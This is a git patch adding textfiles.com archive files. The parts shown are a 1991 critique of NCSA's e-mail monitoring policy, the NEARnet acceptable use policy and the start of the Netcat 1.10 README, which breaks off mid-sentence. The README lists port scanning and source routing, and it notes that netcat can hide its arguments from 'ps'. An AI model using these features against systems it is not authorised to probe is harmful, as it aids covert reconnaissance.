From 25831264169937e74b4f773824b8b1cfce8124d3 Mon Sep 17 00:00:00 2001 From: OPSXCQ Date: Mon, 8 Jan 2018 04:15:18 -0300 Subject: [PATCH] update --- textfiles.com/internet/ncsa.em | 554 + textfiles.com/internet/nearnet | 53 + textfiles.com/internet/netcat.txt | 1273 + textfiles.com/internet/netcount.hst | 100 + textfiles.com/internet/netguide.txt | 9971 +++++++ textfiles.com/internet/netiquette | 463 + textfiles.com/internet/netmail.info | 152 + textfiles.com/internet/netnews.10 | 42 + textfiles.com/internet/netserv | 466 + textfiles.com/internet/netsurf | 51 + textfiles.com/internet/networks.lis | 365 + textfiles.com/internet/news_dw.txt | 265 + textfiles.com/internet/nfs494.hi | 62 + textfiles.com/internet/nha-003.txt | 3015 ++ textfiles.com/internet/nis.txt | 27 + textfiles.com/internet/nixpub | 946 + textfiles.com/internet/nixpub.txt | 989 + textfiles.com/internet/northwes | 65 + textfiles.com/internet/ns101.txt | 91 + textfiles.com/internet/nsfnet | 57 + textfiles.com/internet/nug.txt | 6246 ++++ textfiles.com/internet/nwerthy.man | 1681 ++ textfiles.com/internet/o | 2153 ++ textfiles.com/internet/onet | 143 + textfiles.com/internet/packet.txt | 268 + textfiles.com/internet/pdial | 741 + textfiles.com/internet/posting.rsk | 84 + textfiles.com/internet/powrpost.net | 170 + textfiles.com/internet/prepnet | 120 + textfiles.com/internet/privatiz.nre | 296 + textfiles.com/internet/q | 256 + textfiles.com/internet/r | 279 + textfiles.com/internet/read.me | 189 + textfiles.com/internet/rfc2441.txt | 339 + textfiles.com/internet/s | 146 + textfiles.com/internet/sbjan95.www | 430 + textfiles.com/internet/sec_ftp.faq | 541 + textfiles.com/internet/sendmail | 365 + textfiles.com/internet/sendmail.faq | 364 + textfiles.com/internet/sendmailwb.txt | 56 + textfiles.com/internet/services.faq | 284 + textfiles.com/internet/sitelist | 36192 +++++++++++++++++++++++ textfiles.com/internet/sl-inet.txt | 570 + textfiles.com/internet/slfp.faq | 152 + textfiles.com/internet/slip_win.faq | 106 + textfiles.com/internet/slipdoc.txt | 1450 + textfiles.com/internet/smiley | 704 + textfiles.com/internet/soc-sci.txt | 1594 + textfiles.com/internet/softhis.txt | 390 + textfiles.com/internet/soup12.txt | 838 + textfiles.com/internet/source12.txt | 981 + textfiles.com/internet/sp4rpt.txt | 1009 + textfiles.com/internet/spamfaq.txt | 1083 + textfiles.com/internet/span01.vir | 418 + textfiles.com/internet/span03.vir | 178 + textfiles.com/internet/span04.vir | Bin 0 -> 4551 bytes textfiles.com/internet/spec1130.txt | 396 + textfiles.com/internet/sprint | 805 + textfiles.com/internet/sslfaq.103 | 1571 + textfiles.com/internet/sterling | 380 + textfiles.com/internet/style.txt | 132 + textfiles.com/internet/surfing.int | 1526 + textfiles.com/internet/surfpoly.txt | 1401 + textfiles.com/internet/surfwild.txt | 466 + textfiles.com/internet/sw56gu.txt | 1003 + textfiles.com/internet/tcp-ip-a.txt | 3471 +++ textfiles.com/internet/tcp-ip-i.txt | 1761 ++ textfiles.com/internet/tcpadmin | 2821 ++ textfiles.com/internet/tcpip.hac | 1706 ++ textfiles.com/internet/tcpiso.txt | 1233 + textfiles.com/internet/telecom.txt | 151 + textfiles.com/internet/telenet.access | Bin 0 -> 4048 bytes textfiles.com/internet/telenet.directo | 265 + textfiles.com/internet/telex_an.int | 963 + textfiles.com/internet/teln0418.txt | 492 + textfiles.com/internet/telnet.txt | 168 + textfiles.com/internet/the-plan | 243 + textfiles.com/internet/thumb.txt | 112 + textfiles.com/internet/top1000.use | 1021 + textfiles.com/internet/tour.crt | 1702 ++ 80 files changed, 103612 insertions(+) create mode 100644 textfiles.com/internet/ncsa.em create mode 100644 textfiles.com/internet/nearnet create mode 100644 textfiles.com/internet/netcat.txt create mode 100644 textfiles.com/internet/netcount.hst create mode 100644 textfiles.com/internet/netguide.txt create mode 100644 textfiles.com/internet/netiquette create mode 100644 textfiles.com/internet/netmail.info create mode 100644 textfiles.com/internet/netnews.10 create mode 100644 textfiles.com/internet/netserv create mode 100644 textfiles.com/internet/netsurf create mode 100644 textfiles.com/internet/networks.lis create mode 100644 textfiles.com/internet/news_dw.txt create mode 100644 textfiles.com/internet/nfs494.hi create mode 100644 textfiles.com/internet/nha-003.txt create mode 100644 textfiles.com/internet/nis.txt create mode 100644 textfiles.com/internet/nixpub create mode 100644 textfiles.com/internet/nixpub.txt create mode 100644 textfiles.com/internet/northwes create mode 100644 textfiles.com/internet/ns101.txt create mode 100644 textfiles.com/internet/nsfnet create mode 100644 textfiles.com/internet/nug.txt create mode 100644 textfiles.com/internet/nwerthy.man create mode 100644 textfiles.com/internet/o create mode 100644 textfiles.com/internet/onet create mode 100644 textfiles.com/internet/packet.txt create mode 100644 textfiles.com/internet/pdial create mode 100644 textfiles.com/internet/posting.rsk create mode 100644 textfiles.com/internet/powrpost.net create mode 100644 textfiles.com/internet/prepnet create mode 100644 textfiles.com/internet/privatiz.nre create mode 100644 textfiles.com/internet/q create mode 100644 textfiles.com/internet/r create mode 100644 textfiles.com/internet/read.me create mode 100644 textfiles.com/internet/rfc2441.txt create mode 100644 textfiles.com/internet/s create mode 100644 textfiles.com/internet/sbjan95.www create mode 100644 textfiles.com/internet/sec_ftp.faq create mode 100644 textfiles.com/internet/sendmail create mode 100644 textfiles.com/internet/sendmail.faq create mode 100644 textfiles.com/internet/sendmailwb.txt create mode 100644 textfiles.com/internet/services.faq create mode 100644 textfiles.com/internet/sitelist create mode 100644 textfiles.com/internet/sl-inet.txt create mode 100644 textfiles.com/internet/slfp.faq create mode 100644 textfiles.com/internet/slip_win.faq create mode 100644 textfiles.com/internet/slipdoc.txt create mode 100644 textfiles.com/internet/smiley create mode 100644 textfiles.com/internet/soc-sci.txt create mode 100644 textfiles.com/internet/softhis.txt create mode 100644 textfiles.com/internet/soup12.txt create mode 100644 textfiles.com/internet/source12.txt create mode 100644 textfiles.com/internet/sp4rpt.txt create mode 100644 textfiles.com/internet/spamfaq.txt create mode 100644 textfiles.com/internet/span01.vir create mode 100644 textfiles.com/internet/span03.vir create mode 100644 textfiles.com/internet/span04.vir create mode 100644 textfiles.com/internet/spec1130.txt create mode 100644 textfiles.com/internet/sprint create mode 100644 textfiles.com/internet/sslfaq.103 create mode 100644 textfiles.com/internet/sterling create mode 100644 textfiles.com/internet/style.txt create mode 100644 textfiles.com/internet/surfing.int create mode 100644 textfiles.com/internet/surfpoly.txt create mode 100644 textfiles.com/internet/surfwild.txt create mode 100644 textfiles.com/internet/sw56gu.txt create mode 100644 textfiles.com/internet/tcp-ip-a.txt create mode 100644 textfiles.com/internet/tcp-ip-i.txt create mode 100644 textfiles.com/internet/tcpadmin create mode 100644 textfiles.com/internet/tcpip.hac create mode 100644 textfiles.com/internet/tcpiso.txt create mode 100644 textfiles.com/internet/telecom.txt create mode 100644 textfiles.com/internet/telenet.access create mode 100644 textfiles.com/internet/telenet.directo create mode 100644 textfiles.com/internet/telex_an.int create mode 100644 textfiles.com/internet/teln0418.txt create mode 100644 textfiles.com/internet/telnet.txt create mode 100644 textfiles.com/internet/the-plan create mode 100644 textfiles.com/internet/thumb.txt create mode 100644 textfiles.com/internet/top1000.use create mode 100644 textfiles.com/internet/tour.crt diff --git a/textfiles.com/internet/ncsa.em b/textfiles.com/internet/ncsa.em new file mode 100644 index 00000000..d7b0a38d --- /dev/null +++ b/textfiles.com/internet/ncsa.em @@ -0,0 +1,554 @@ +From comp-academic-freedom-talk-request@eff.org Tue Apr 23 06:03:24 1991 +From: comp-academic-freedom-talk-request@eff.org +Reply-To: comp-academic-freedom-talk@eff.org +Precedence: bulk +To: comp-academic-freedom-talk +Return-Path: +Date: Tue, 23 Apr 91 04:42:14 -0500 +Sender: "Carl M. Kadie" +Subject: New NCSA e-mail policy inconsistent with Academic Freedom +Status: R + +[Enclosed is a copy of a note I posted in "uiuc.general," a campus-wide +newsgroup at the University of Illinois. I also sent e-mail copies +to the administrators who approved the policy and to several +Professors interested in these issues (including the president of +the local chapter of the AAUP). Following this note, expect copies +of the policy in question and my notes from a conversation with +Michael Smith of the NCSA. + +I will, of course, keep the list informed as to what happens. + - Carl Kadie] + +---------------------------------------------------------------------- +The new NCSA e-mail policy permits searches and punishment of +faculty, students, and researcher who "attack" the University, or the +NCSA in e-mail. +---------------------------------------------------------------------- + +The National Center for Supercomputer Applications (NCSA) is a department +in the University of Illinois' Graduate College. On April 1 [no kidding], +the NCSA set down a new e-mail policy. The policy was cleared by the +University's legal counsel and the Graduate College. Faculty, students, +and researchers, however, were not consulted. + +Although the policy offers much good advice and addresses legitimate +security concerns, it is overly broad and vague. Moreover, it is +inconsistent with the principles of Academic Freedom, Constitutional +rights, and University policies with respect to freedom of expression +and privacy. + +The policy should concern all users of NCSA's e-mail facilities. It should +also concern anyone who sends e-mail to a NCSA user or through a NCSA +managed network. Finally, it should concern anyone who believes that +the principles of academic freedom (including freedom of expression and +privacy) apply to computers. + +In a sense, this note is not constructive. I will not suggest an +alternate e-mail policy. Instead, I will criticize the current policy. +It is my hope that criticism will lead to the retraction of the +current policy and creation of a more balanced policy that respects +the rights of computer users. + +Specifically, here are nine criticisms (in no particular order): + +1) The policy was created without user representation. + +The faculty, students, and researchers who use NCSA e-mail should have +helped form any policy. Also, any University committees +concerned with Academic Freedom should have been consulted. + +2) NCSA contracts with industry are not an excuse to override academic +freedom and individual rights. + +One attempted justification of the policy is that the NCSA is +contractually obligated to provide security and confidentiality to +industry. This is no justification at all. Contracts with industry +must be made within the boundaries of Academic Freedom. + +3) E-mail to users at the NCSA from outside the NCSA deserves more protection. + +Under this policy, searches of a user's e-mail will be typically +conducted by inspecting that user's mbox file. If you send e-mail to a +NCSA user, your note might end up in his or her mbox. If the mbox file is +searched, your note might be read (without any suspicion about +you and without the permission of the addressee). + +4) The policy gives the Director extraordinary power with no check and +balances. + +No search can be done without explicit authorization from the Director +of the NCSA. The Director, however, reports to no one. + +5) Due process is not guaranteed in the policy. + +If a user (faculty or student) is found to have committed an offense, +he or she should have the right to a formal hearing and the right of +appeal. + +Also, some of the due process that is provided is not guaranteed in +writing. For example, there is an unwritten policy that the Director +cannot delegate the authority to authorize a search. This protection +should be make explicit. + +6) The policy fails to respect e-mail. + +The policy allows disk space to be searched, but there is no similar +policy allowing telephones or campus mail to be monitored or offices +to be searched. Privacy should be respected in all its forms. + +7) The policy is vague. + +It prohibits e-mail that "attempts to disadvantage NCSA." What does +this mean? It prohibits "inappropriate information disclosures," but +does not define "inappropriate". + +8) The policy may prohibit constitutionally protected speech. + +According to Michael Smith, the Associate Director of the NCSA, +the phrase "attempts to disadvantage NCSA" prohibits attacks in +e-mail on the NCSA and the University. This interpretation (of +a vague phrase) is inconsistent with the First Amendment, Academic +Freedom, and University policy. + +The First Amendment to the U.S. Constitution says: "Congress shall +make no law [...] abridging the freedom of speech, or of the press;" +This amendment also applies to the States and to State institutions +such as this University. It protects your right to forcefully +criticize institutions such as the NCSA and the University. + +The Joint Statement on Rights and Freedoms of Students it the main +statement on the academic freedom of students. It has been endorsed by +the American Association of University Professors, the U. S. National +Student Association, and the Association of American Colleges. It +says: + +"Academic institutions exist for the transmission of knowledge, the +pursuit of truth, the development of students, and the general +well-being of society. Free inquiry and free expression are +indispensable to the attainment of these goals its members of the +academic community, students should be encouraged to develop the +capacity for critical judgment and to engage in a sustained and +independent search for truth." + +Faculty's freedom of expression is, of course, also protected by +Academic Freedom. + +The University of Illinois Code on Campus Affairs says: + +"STATEMENT ON INDIVIDUAL RIGHTS + I. Preamble + A student at the University of Illinois at the Urbana-Champaign campus + is a member of the University community of which all members have at + least the rights and responsibilities common to all citizens, free from + institutional censorship; affiliation with the University as a + student does not diminish the rights or responsibilities held by a + student or any other community member as a citizen of larger + communities of the state, the nation, and the world." + ... + +"III. Campus Expression + A. Discussion and expression of all views is permitted within the + University subject only to requirements for the maintenance of order. + [...] + C. The campus press and media are to be free of censorship. The editors + and managers shall not be arbitrarily suspended because of student, + faculty, administration, alumni, or community disapproval of editorial + policy or content." + ... +"VI. Student Affairs + [...] + B. Freedom of Inquiry and Expression + 1. Students and student organizations should be free to examine and to + discuss all questions of interest to them, and to express opinions + publicly and privately. [...] + 2. Students should be allowed to invite and hear any person of their + own choosing. [...] The University's control of campus facilities should + not be used as a device of censorship. It should be made clear to the + academic and larger community that sponsorship of guest speakers + does not necessarily imply approval or endorsement of the views expressed + either by the sponsoring group or the institution." + +9) The policy may allow constitutionally prohibited search. + +The Fourth Amendment says: "The right of the people to be secure in +their persons, houses, papers, and effects, against unreasonable +searches and seizures, shall not be violated, and no Warrants shall +issue, but upon probable cause, supported by Oath or affirmation, and +particularly describing the place to be searched, and the persons +or things to be seized." + +A government institution, such as this University can not ignore these +protections just because it owns the facilities [Mancusi v. DeForte +392 U.S. 364, 368 (1967); Gillard v. Schmidt 579 F.2d 825, 829 (3d +Cir. 1978)] + +University privacy policy is described in the Code on Campus Affairs. +I think University rules concerning assigned office space provide +the best model of how disk space and e-mail should be treated. + +"IV. Privacy + +A. Members of the University community have the same rights of +privacy as other citizens and surrender none of those rights by +becoming members of the academic community. These rights of privacy +extend to residence hall living. Nothing in University regulations or +contracts shall give University officials authority to consent to a +search by police or other government officials of offices assigned or +living quarters leased to individuals except in response to a properly +executed search warrant or search incident to an arrest. + +B. When the University seeks access to an office assigned or living +quarters leased to an individual to determine compliance with +provisions of applicable multiple-dwelling unit laws, ordinances, and +regulations, or for improvement or repairs, the occupant shall be +notified of such action not less that twenty-four hours in advance. +There may be entry without notice in emergencies where imminent +danger to life, safety, health, or property is reasonably feared and +for custodial service. + +C. The University may not conduct or permit a search of an office +assigned or living quarters leased to an individual except in +response to a properly executed search warrant or search incident to +an arrest." + + + +In conclusion, the new NCSA e-mail policy is inconsistent with the +constitutional rights and the academic freedom of faculty, students, +and researchers. It says that freedom of expression and the right to +privacy to not extend to computers. I urge the NCSA to rescind the +policy. + + +-- +Carl Kadie -- kadie@cs.uiuc.edu -- University of Illinois at Urbana-Champaign + + +From comp-academic-freedom-talk-request@eff.org Tue Apr 23 06:03:24 1991 +From: comp-academic-freedom-talk-request@eff.org +Reply-To: comp-academic-freedom-talk@eff.org +Precedence: bulk +To: comp-academic-freedom-talk +Return-Path: +Date: Tue, 23 Apr 91 04:42:59 -0500 +Sender: "Carl M. Kadie" +Subject: FYI: Re: New NCSA e-mail policy inconsistent with Academic Freedom +Status: R + +Newsgroups: uiuc.general +Path: m.cs.uiuc.edu!kadie +Sender: kadie@m.cs.uiuc.edu (Carl M. Kadie) +Subject: Re: New NCSA e-mail policy inconsistent with Academic Freedom +Message-ID: <1991Apr23.083947.3254@m.cs.uiuc.edu> +Organization: University of Illinois, Dept. of Comp. Sci., Urbana, IL +References: <1991Apr23.082959.78@m.cs.uiuc.edu> +Date: Tue, 23 Apr 91 08:39:47 GMT +Lines: 88 + +[Here is text of the letter setting out the policy. Any typos are probably + mine - Carl] + +University of Illinois at Urbana Champaign + +National Center for Supercomputer Applications +152 Computing Applications Building +605 East Springfield Avenue +Champaign, IL 61820 +217 244-0072 + +Date: April 1, 1991 +Sender: Michael D. Smith, Associate Director, +Computer Operations and System Administration +NCSA Security Officer +Phone: (217) 244-7714, E-mail: msmith@ncsa.uiuc.edu + +Re: Policy on the Use and Security of NCSA E-mail Facilities + +NCSA wishes to inform its e-mail users of the primary purpose of the e-mail +facilities, as well as when and user what circumstances individual e-mail +messages may be monitored or examined. + +NCSA's e-mail facilities were established and intended to be used for center +business only, as opposed to personal or private business. + +NCSA does not promise or guarantee that individual e-mail messages are +private or secure. Authorized system administrators and/or security staff +may be required to monitor or examine e-mail messages udner the following +circumstances: + +1.) In order to support e-mail, system administration personnel routinely +monitor the successful delivery of e-mail to users. Undeliverable e-mail due +to incorrect addressing, unknown users, and the like may be returned to the +system postmaster for delivery resolution. The system postmaster must at a +minimum, read the header containing crucial information about who and +where the e-mail was being sent in order to determine why the message was +not deliver to the designated recipients(s). In the course of the above +mentioned operator, the text of the message of course is also open to view. + +2.) NCSA networks require monitoring as a standard for network +maintenance and problem resolution, capacity planning and product testing. +This requires watching information actually moving across NCSA networks. +In the course of network monitoring, it is possible that electronic mail +messages will be part of the information packets moving across the network. +As such, this mail might be exposed to the person actually doing this activity. + +[page 2] + +3.) In order to protect NCSA's e-mail facilities from flagrant abuse of the +above mentioned purpose of the system, as well as protect NCSA staff from +threats to their personal safety and well being, protect NCSA against fraud, +attempts to disadvantage NCSA, prevent and/or ensure NCSA against +inappropriate information disclosures, it might be necessary for authorized +system administration and/or security staff to monitor or examine and +individual employee's and/or user's e-mail. This type of activity is only +performed for legitimate security reasons; only when there is cause for such +activity and only at the discretion of the NCSA's Director. + +The users themselves can minimize occurrences of two of the three above +mentioned activities (items 1 and 3) by following common sense guidelines +regarding the use of e-mail. + +First, always take care when address e-mail messages, thus reducing the +chance of the e-mail being forwarded to the system postmaster for resolution. +Not only will this reduce the chance of your e-mail being examined, but it +will also significantly reduce the workload of our various system postmasters. +Second, strive to use the e-mail facilities for their intended purpose as +stated above. + +E-mail is an inappropriate vehicle for the transmission of extremely personal +and/or confidential information which one would not disclosed to +others. Hardware and software problems to arise which might send your e- +mail to an inappropriate addressee whose receipt of such you might not have +intended or desired. Good judgment should be exercised when deciding to +incorporate such personal and/or confidential information. + +cc: James R. Bottum, NCSA + Judith S. Libman, OVCR + Larry, [sic] L. Smarr, NCSA + Harvey J. Stapleton, OVCR + Steven A. Veazie, OUC + + + +-- +Carl Kadie -- kadie@cs.uiuc.edu -- University of Illinois at Urbana-Champaign + + +From comp-academic-freedom-talk-request@eff.org Tue Apr 23 06:03:25 1991 +From: comp-academic-freedom-talk-request@eff.org +Reply-To: comp-academic-freedom-talk@eff.org +Precedence: bulk +To: comp-academic-freedom-talk +Return-Path: +Date: Tue, 23 Apr 91 04:43:19 -0500 +Sender: "Carl M. Kadie" +Subject: FYI: Re: New NCSA e-mail policy inconsistent with Academic Freedom +Status: R + +Newsgroups: uiuc.general +Path: m.cs.uiuc.edu!kadie +Sender: kadie@m.cs.uiuc.edu (Carl M. Kadie) +Subject: Re: New NCSA e-mail policy inconsistent with Academic Freedom +Message-ID: <1991Apr23.084510.17584@m.cs.uiuc.edu> +Organization: University of Illinois, Dept. of Comp. Sci., Urbana, IL +References: <1991Apr23.082959.78@m.cs.uiuc.edu> +Date: Tue, 23 Apr 91 08:45:10 GMT +Lines: 193 + +[These are my notes from my conversation with Michael Smith - Carl] + +Earlier today (April 23, 1991), Michael D. Smith and I talked over the +phone. He kind enough to answer my questions about the NCSA e-mail +policy. Mr. Smith is the Associate Director of the National Center for +Supercomptuer Applications (NCSA), a department of the University of +Illinois. He is also the Computer Operations and System Administration +NCSA Security Officer. It is he who sent the letter setting down the +NCSA's e-mail policy. + +The following is my reconstruction of the information he provided. It +is based on the notes I scribbled down as we spoke; thus it contains +no direct quotes. I will, of course, send a copy of this note to Mr. +Smith. I assume he will correct any mistakes I make. + +q: [In his first e-mail note to me, Mr. Smith mentioned that the e-mail +policy was "University Approved"] What does "University approved" mean? + +a: The policy was approved by the University's legal counsel and the Graduate +College. [The NCSA is a department within the College of Graduate Studies.] + +q: Was there any user input or any input from any University +committee's concerned with Academic Freedom? + +a: No. + +q: What was the motivation for creating this policy? + +a: To stop flagrant abuse of resources. We also have contractual +obligations to industry. + +q: Some of the language in the policy sounds like it is trying to +explicitly say that the NCSA is not covered by the e-mail provisions of +the Electronic Communications Privacy Act (ECPA). Was this a +motivation? + +a: [Mr. Smith said he was familiar with the ECPA.] No, it wasn't. + +q: Can you be more explicit about your contractual obligations? + +a: We promise a certain level of security. For example, no letter +bombs, no threats, no viruses. + +q: You don't mean "level of security" in any formal or governmental sense +do you? + +a: No, I don't. + +q: Did you consider general University privacy policies? + +a: There is an article about security in the IEEE software review. Our +computers policy is consistent with the trend at Fortune 500 companies +and other Universities. + +q: Has this policy ever been used? + +a: It has been used once in the last six years. + +q: But the policy as only been in effect for a couple months +[actually, less than a month]. Was this use after the policy was set +down? + +a: Yes + +q: So, it has been used once in the last two months? [Actually, +once is less than a month] + +a: Yes + +[If the suspect would like to tell his or her side of the story, + he or she could contact me (or just post a note).] + +q: Can you detail how the Director authorizes monitoring of e-mail? +For example, is monitoring allowed only for a limited amount of time? +Is it limited to a particular location? + +a: We should be clear here, "monitoring" is a bad word. We don't actually +read the e-mail when it is transmitted. We look at the user's mbox +file. [Note, mbox is the computer file in a user's home directory +where e-mail is often archived.] The investigation is, thus, of +very limited duration. + +[Comment: "monitoring" is the word used in the policy letter.] + +q: The mbox file can contains both mail sent *by* the user and mail *to* +to the user. Does this mean that you can look at mail send from outside +NCSA? + +a: It is possible, but not likely. + +q: Can the Director delegate the authority to authorize a search? + +a: Absolutely not. The Director must authorize each investigation on a +case-by case basis. + +q: What records are kept of the the search? + +a: A full report is made. It is kept in a safe. + +q: Is the user [suspect] eventually notified? + +a: Yes, always. + +q: Are records of the search keep confidential as required by the +Family Educational Rights and Privacy Act [of 1974]? + +a: Yes. + +q: Are the records available to the user as required by the act? + +a: Yes. + +q: Can the Director authorize the monitoring of NCSA telephones? + +a: We don't control our telephones, so he can not. + +q: Can the Director authorize the search of NCSA office space? +Or campus mail or US mail sent from NCSA? + +a: There is no policy about any of that, so a search cannot be done. + +q: What is the relationship between the NCSA and the University? + +a: The NCSA is department of the Grad College of the University. + +q: The policy says that e-mail is only for NCSA business. What +is "NCSA business"? + +a: You are misreading the policy. It says that when the e-mail system +was established, it was *intended* for NCSA business. People now use +it for personal business. That is OK. Personal use can be important; +it can be used to build relationships. + +q: This question may not make as much sense now, but let me ask it anyway. +Would it be OK to discuss the e-mail policy via e-mail? Would it be +OK to criticize you or the Director in e-mail? + +a: Yes, of course. + +q: Would it be OK to make such criticism without your knowledge? In +other words, is there legitimate NCSA business that is private from +you? + +a: Yes. + +q: And under the e-mail policy, might you end up reading a note between +two NCSA users criticizing you? + +a: It is possible. + +q: In section three of the policy, it says that one reason for a +search is if there are "attempts to disadvantage NCSA." Can you +explain what this means? + +a: Here is an example, suppose the NCSA has a nondisclosure agreement +with a company. And suppose someone tried to send out information +covered by the agreement. That would be an attempt to disadvantage +NCSA. + +q: Let me clarify the situation. In this scenario, has the person +who is sending out the information signed a nondisclosure agreement. + +a: Maybe not. Suppose it is a secretary. Here is another example of an +attempt to disadvantage NCSA: suppose some is sending e-mail that +attacks a person, or NCSA, or the University. + +[Mr. Smith continued:] We've been talking about section 3 of the +policy [protection of NCSA from abuse], parts 1 [misaddressed e-mail +might be read] and 2 [e-mail may be read in the course of network +maintenance] are also important. Lots of e-mail gets misaddressed; +people should be more careful. There is no practical way to figure out +where note should go without the body of the note being possibly seen. +Also, notes can be seen by network analyzers [A network analyzer is a +device that monitors traffic on a network. At the least, it measures +the number of packets being sent. It is like a voltmeter for +information.] + +q: Do network analyzers show the text of packets? + +a: Some do and some don't. + +q: Which kind does the NCSA have? + +a: We use both. + +[I commented that the merits (or deficentcies) of section 3 are +independent of the merits (or deficentcies) of sections 1 and 2.] + + + + +-- +Carl Kadie -- kadie@cs.uiuc.edu -- University of Illinois at Urbana-Champaign + + + diff --git a/textfiles.com/internet/nearnet b/textfiles.com/internet/nearnet new file mode 100644 index 00000000..fd72b4fa --- /dev/null +++ b/textfiles.com/internet/nearnet @@ -0,0 +1,53 @@ + +29 October 1990 + +NEARnet - ACCEPTABLE USE POLICY + +This statement represents a guide to the acceptable use of NEARnet for data +communications. It is only intended to address the issue of NEARnet use. In +those cases where data communications are carried across other regional +networks or the Internet, NEARnet users are advised that acceptable use +policies of those other networks apply and may limit use. + +NEARnet member organizations are expected to inform their users of both the +NEARnet and the NSFnet acceptable use policies. + +1. NEARnet Primary Goals + +1.1 NEARnet, the New England Academic and Research Network, has been + established to enhance educational and research activities in New + England, and to promote regional and national innovation and + competitiveness. NEARnet provides access to regional and national + resources to its members, and access to regional resources from + organizations throughout the United States and the world. + +2. NEARnet Acceptable Use Policy + +2.1 All use of NEARnet must be consistent with NEARnet's primary goals. + +2.2 It is not acceptable to use NEARnet for illegal purposes. + +2.3 It is not acceptable to use NEARnet to transmit threatening, obscene, + or harassing materials. + +2.4 It is not acceptable to use NEARnet so as to interfere with or disrupt + network users, services or equipment. Disruptions include, but are not + limited to, distribution of unsolicited advertizing, propagation of + computer worms and viruses, and using the network to make unauthorized + entry to any other machine accessable via the network. + +2.5 It is assumed that information and resources accessible via NEARnet are + private to the individuals and organizations which own or hold rights + to those resources and information unless specifically stated otherwise + by the owners or holders of rights. It is therefore not acceptable for + an individual to use NEARnet to access information or resources unless + permission to do so has been granted by the owners or holders of + rights to those resources or information. + +3. Violation of Policy + +3.1 NEARnet will review alleged violations of Acceptable Use Policy on a + case-by-case basis. Clear violations of policy which are not promptly + remedied by member organization may result in termination of NEARnet + membership and network services to member. + diff --git a/textfiles.com/internet/netcat.txt b/textfiles.com/internet/netcat.txt new file mode 100644 index 00000000..0fad6a90 --- /dev/null +++ b/textfiles.com/internet/netcat.txt @@ -0,0 +1,1273 @@ +[Netcat rules the net ----------] + + Netcat 1.10 + + Netcat is a simple Unix utility which reads + and writes data across network connections, + using TCP or UDP protocol. It is designed /\_/\ + to be a reliable "back-end" tool that can / 0 0 \ + be used directly or easily driven by other ====v==== + programs and scripts. At the same time, it \ W / + is a feature-rich network debugging and | | _ + exploration tool, since it can create / ___ \ / + almost any kind of connection you would / / \ \ | + need and has several interesting built-in (((-----)))-' + capabilities. Netcat, or "nc" as the actual / + program is named, should have been supplied ( ___ + long ago as another one of those cryptic \__.=|___E + but standard Unix tools. / + + In the simplest usage, "nc host port" creates a TCP connection to the + given port on the given target host. Your standard input is then sent + to the host, and anything that comes back across the connection is + sent to your standard output. This continues indefinitely, until the + network side of the connection shuts down. Note that this behavior is + different from most other applications which shut everything down and + exit after an end-of-file on the standard input. + + Netcat can also function as a server, by listening for inbound + connections on arbitrary ports and then doing the same reading and + writing. With minor limitations, netcat doesn't really care if it runs + in "client" or "server" mode -- it still shovels data back and forth + until there isn't any more left. In either mode, shutdown can be + forced after a configurable time of inactivity on the network side. + + And it can do this via UDP too, so netcat is possibly the "udp + telnet-like" application you always wanted for testing your UDP-mode + servers. UDP, as the "U" implies, gives less reliable data + transmission than TCP connections and some systems may have trouble + sending large amounts of data that way, but it's still a useful + capability to have. + + You may be asking "why not just use telnet to connect to arbitrary + ports?" Valid question, and here are some reasons. Telnet has the + "standard input EOF" problem, so one must introduce calculated delays + in driving scripts to allow network output to finish. This is the main + reason netcat stays running until the *network* side closes. Telnet + also will not transfer arbitrary binary data, because certain + characters are interpreted as telnet options and are thus removed from + the data stream. Telnet also emits some of its diagnostic messages to + standard output, where netcat keeps such things religiously separated + from its *output* and will never modify any of the real data in + transit unless you *really* want it to. And of course telnet is + incapable of listening for inbound connections, or using UDP instead. + Netcat doesn't have any of these limitations, is much smaller and + faster than telnet, and has many other advantages. + + Some of netcat's major features are: + + * Outbound or inbound connections, TCP or UDP, to or from any ports + * Full DNS forward/reverse checking, with appropriate warnings + * Ability to use any local source port + * Ability to use any locally-configured network source address + * Built-in port-scanning capabilities, with randomizer + * Built-in loose source-routing capability + * Can read command line arguments from standard input + * Slow-send mode, one line every N seconds + * Hex dump of transmitted and received data + * Optional ability to let another program service established + connections + * Optional telnet-options responder + + Efforts have been made to have netcat "do the right thing" in all its + various modes. If you believe that it is doing the wrong thing under + whatever circumstances, please notify me and tell me how you think it + should behave. If netcat is not able to do some task you think up, + minor tweaks to the code will probably fix that. It provides a basic + and easily-modified template for writing other network applications, + and I certainly encourage people to make custom mods and send in any + improvements they make to it. This is the second release; the overall + differences from 1.00 are relatively minor and have mostly to do with + portability and bugfixes. Many people provided greatly appreciated + fixes and comments on the 1.00 release. Continued feedback from the + Internet community is always welcome! + + Netcat is entirely my own creation, although plenty of other code was + used as examples. It is freely given away to the Internet community in + the hope that it will be useful, with no restrictions except giving + credit where it is due. No GPLs, Berkeley copyrights or any of that + nonsense. The author assumes NO responsibility for how anyone uses it. + If netcat makes you rich somehow and you're feeling generous, mail me + a check. If you are affiliated in any way with Microsoft Network, get + a life. Always ski in control. Comments, questions, and patches to + hobbit@avian.org. + + Building + + Compiling is fairly straightforward. Examine the Makefile for a + SYSTYPE that matches yours, and do "make ". The executable "nc" should + appear. If there is no relevant SYSTYPE section, try "generic". If you + create new sections for generic.h and Makefile to support another + platform, please follow the given format and mail back the diffs. + + There are a couple of other settable #defines in netcat.c, which you + can include as DFLAGS="-DTHIS -DTHAT" to your "make" invocation + without having to edit the Makefile. See the following discussions for + what they are and do. + + If you want to link against the resolver library on SunOS + [recommended] and you have BIND 4.9.x, you may need to change + XLIBS=-lresolv in the Makefile to XLIBS="-lresolv -l44bsd". + + Linux sys/time.h does not really support presetting of FD_SETSIZE; a + harmless warning is issued. + + Some systems may warn about pointer types for signal(). No problem, + though. + + Exploration of features + + Where to begin? Netcat is at the same time so simple and versatile, + it's like trying to describe everything you can do with your Swiss + Army knife. This will go over the basics; you should also read the + usage examples and notes later on which may give you even more ideas + about what this sort of tool is good for. + + If no command arguments are given at all, netcat asks for them, reads + a line from standard input, and breaks it up into arguments + internally. This can be useful when driving netcat from certain types + of scripts, with the side effect of hiding your command line arguments + from "ps" displays. + + The host argument can be a name or IP address. If -n is specified, + netcat will only accept numeric IP addresses and do no DNS lookups for + anything. If -n is not given and -v is turned on, netcat will do a + full forward and reverse name and address lookup for the host, and + warn you about the all-too-common problem of mismatched names in the + DNS. This often takes a little longer for connection setup, but is + useful to know about. There are circumstances under which this can + *save* time, such as when you want to know the name for some IP + address and also connect there. Netcat will just tell you all about + it, saving the manual steps of looking up the hostname yourself. + Normally mismatch- checking is case-insensitive per the DNS spec, but + you 